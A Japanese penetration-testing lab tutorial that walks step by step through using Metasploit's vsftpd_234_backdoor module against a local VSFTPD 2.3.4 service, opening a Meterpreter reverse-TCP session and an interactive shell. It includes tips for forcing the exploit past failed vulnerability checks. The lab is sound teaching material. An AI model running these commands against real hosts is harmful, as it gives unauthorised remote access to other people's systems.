はじめに
Metasploit を使ったペネトレーションテストの世界へようこそ!Metasploit Framework は、サイバーセキュリティの専門家がネットワークやサーバーの脆弱性を調査するために使用する強力なオープンソースツールです。
この実験では、古典的で分かりやすいエクスプロイトの手順を体験します。実験環境には、脆弱性のあるバージョンの VSFTPD (Very Secure FTP Daemon)、具体的にはバージョン 2.3.4 が動作するサーバーを用意しました。この特定のバージョンには、ソースコードに密かに埋め込まれた有名なバックドアが存在します。
あなたの目標は、Metasploit コンソール (msfconsole) を使用してこのサービスに対するエクスプロイトを検索・設定・実行し、ターゲットシステム上でコマンドシェルを取得することです。このハンズオン演習を通じて、Metasploit を使用したエクスプロイト実行の基本的なワークフローを習得しましょう。
それでは、始めましょう!
use exploit/unix/ftp/vsftpd_234_backdoor による脆弱なサービス用エクスプロイトの選択
このステップでは、Metasploit コンソールを起動し、VSFTPD 2.3.4 のバックドアに適したエクスプロイトモジュールを選択します。msfconsole は Metasploit Framework の主要なインターフェースです。
まず、Metasploit コンソールを起動します。バナーをスキップして素早く起動するために -q (quiet) フラグを使用します。
msfconsole -q
コンソールが読み込まれると、プロンプトが msf > に変わります。次に、使用したいエクスプロイトを Metasploit に指示する必要があります。use コマンドは特定のモジュールをロードします。VSFTPD 2.3.4 バックドア用のモジュールは exploit/unix/ftp/vsftpd_234_backdoor にあります。
Metasploit コンソールで以下のコマンドを実行してください。
use exploit/unix/ftp/vsftpd_234_backdoor
コマンドを実行すると、プロンプトが選択したエクスプロイトモジュール名を含むように変化します。これは、モジュールがアクティブになり、設定の準備が整ったことを示しています。
Metasploit のバージョンによっては、デフォルトのペイロードが自動的に選択される場合があります(例: cmd/linux/http/x86/meterpreter_reverse_tcp)。このペイロードには以下の2つの設定が必要です。
- LHOST - Metasploit がリバース接続を待ち受ける IP アドレスです。この実験では
127.0.0.1を使用します。
set LHOST 127.0.0.1
- Encoder - デフォルトのエンコーダーでは "All encoders failed to encode." というエラーが発生する可能性があります。エンコーディングを回避するために、エンコーダーを
generic/noneに設定します。
set Encoder generic/none
set RHOSTS target_ip によるターゲット IP の設定
このステップでは、ターゲットホストの IP アドレスを設定してエクスプロイトを構成します。ほとんどの Metasploit モジュールでは、ターゲットを指定する必要があります。リモートのターゲットホストを指定するオプションは RHOSTS です。
脆弱な FTP サービスは現在操作しているマシン(実験環境)上で動作しているため、ループバック IP アドレスである 127.0.0.1 を使用できます。
このオプションを設定するには、set コマンドの後にオプション名 (RHOSTS) とその値 (127.0.0.1) を入力します。
msfconsole で以下のコマンドを入力してください。
set RHOSTS 127.0.0.1
Metasploit は、オプションとその新しい値を表示して設定を確認します。
RHOSTS => 127.0.0.1
これで、攻撃の対象を Metasploit に指示できました。
show options によるエクスプロイトオプションの確認
このステップでは、エクスプロイトを実行する前に、必要なすべてのオプションが正しく設定されているかを確認します。これは、エクスプロイトが適切に構成されていることを保証するための重要なベストプラクティスです。
show options コマンドは、現在ロードされているモジュールで設定可能なすべてのオプション、現在の設定値、およびそれらが必須かどうかを表示します。
msfconsole で以下のコマンドを実行してください。
show options
モジュールオプションとペイロードオプションがリストされた表が表示されます。
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)
Payload options (cmd/linux/http/x86/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 127.0.0.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
...
出力を確認してください。RHOSTS が 127.0.0.1 に、LHOST が 127.0.0.1 になっていることを確認します。RPORT は 21 (FTP) です。必要なオプションがすべて設定されたので、次に進む準備が整いました。
exploit コマンドによるエクスプロイトの実行
エクスプロイトの設定が完了したので、ターゲットに対して実行します。exploit コマンド(run と省略可能)は、現在のモジュールと設定に基づいて攻撃を開始します。
以下のコマンドを入力して Enter キーを押し、エクスプロイトを実行します。
exploit
トラブルシューティング:
Msf::OptionValidateError One or more options failed to validate: LHOSTと表示された場合は、set LHOST 127.0.0.1を実行してください。All encoders failed to encodeと表示された場合は、set Encoder generic/noneを実行してエンコーディングを無効にしてください。Exploit aborted due to failure: not-vulnerableやThe target is not exploitableと表示された場合は、set ForceExploit true(またはset AutoCheck false) を実行してから、再度exploitを実行してください。
警告: 初回の試行で "Unable to connect to backdoor on 6200/TCP. Cooldown?" や "Exploit completed, but no session was created." と表示され失敗することがあります。その場合は、単にもう一度
exploitコマンドを実行してください。2回目の試行で成功するはずです。
Metasploit がバックドアの悪用を試みます。攻撃のステップを示す出力が表示されます。成功するとバックドアがトリガーされ、Meterpreter セッションが開かれます。
[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >
重要: エクスプロイトが成功すると、Meterpreter プロンプトに切り替わります。これがリモートアクセス成功の証です!shell を実行して対話型コマンドシェルを取得し、whoami や id を実行してアクセス権を確認できます。
shell
Process 1234 created.
Channel 1 created.
whoami
labex
おめでとうございます。リモートアクセスの取得に成功しました!
sessions -l によるセッションの確認
このステップでは、開いたばかりの接続(「セッション」)を管理する方法を学びます。Metasploit では、複数のセッションを同時に開き、それらを切り替えて操作することができます。
まず、セッションを閉じずに msfconsole プロンプトに戻るには、セッションをバックグラウンドに送る必要があります。キーボードで Ctrl+Z を押してください。シェル内(shell 実行後)にいる場合は、y を入力してチャンネルをバックグラウンドに送ると meterpreter > に戻ります。もう一度 Ctrl+Z を押し、プロンプトが表示されたら y を入力してセッションをバックグラウンドに送ります。
Background session 1? [y/N] y
msf exploit(unix/ftp/vsftpd_234_backdoor) >
sessions コマンドは、Meterpreter 内ではなく、Metasploit のメインプロンプト (msf exploit(...) >) でのみ機能します。これでメインプロンプトに戻りました。アクティブなセッションのリストを表示するには、-l (list) フラグを付けて sessions コマンドを使用します。
sessions -l
これにより、ID、タイプ、接続情報を含む、バックグラウンドにあるすべてのセッションの表が表示されます。
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/linux 127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)
ID が 1 のセッションが表示されているのが確認できます。再度そのセッションを操作したい場合は、sessions -i 1 コマンドを使用します。このセッション管理は Metasploit の重要な機能です。
まとめ
おめでとうございます!この実験を完了し、Metasploit Framework を使用した最初のエクスプロイトを実行できました。
この実験では、Metasploit を使用したペネトレーションテストの基本的なワークフローを学びました。
- Metasploit コンソールの起動 (
msfconsole) useコマンドによる特定のエクスプロイトモジュールの選択setコマンドによるモジュールのターゲット設定show optionsによる設定の確認exploitコマンドを使用した攻撃の開始sessionsを使用した接続の管理
この「選択、設定、実行」という基本的なパターンは、Metasploit 内で行うほぼすべての活動の基礎となります。これで、より複雑なエクスプロイトやペイロードを探索するための核心的な知識を身につけました。



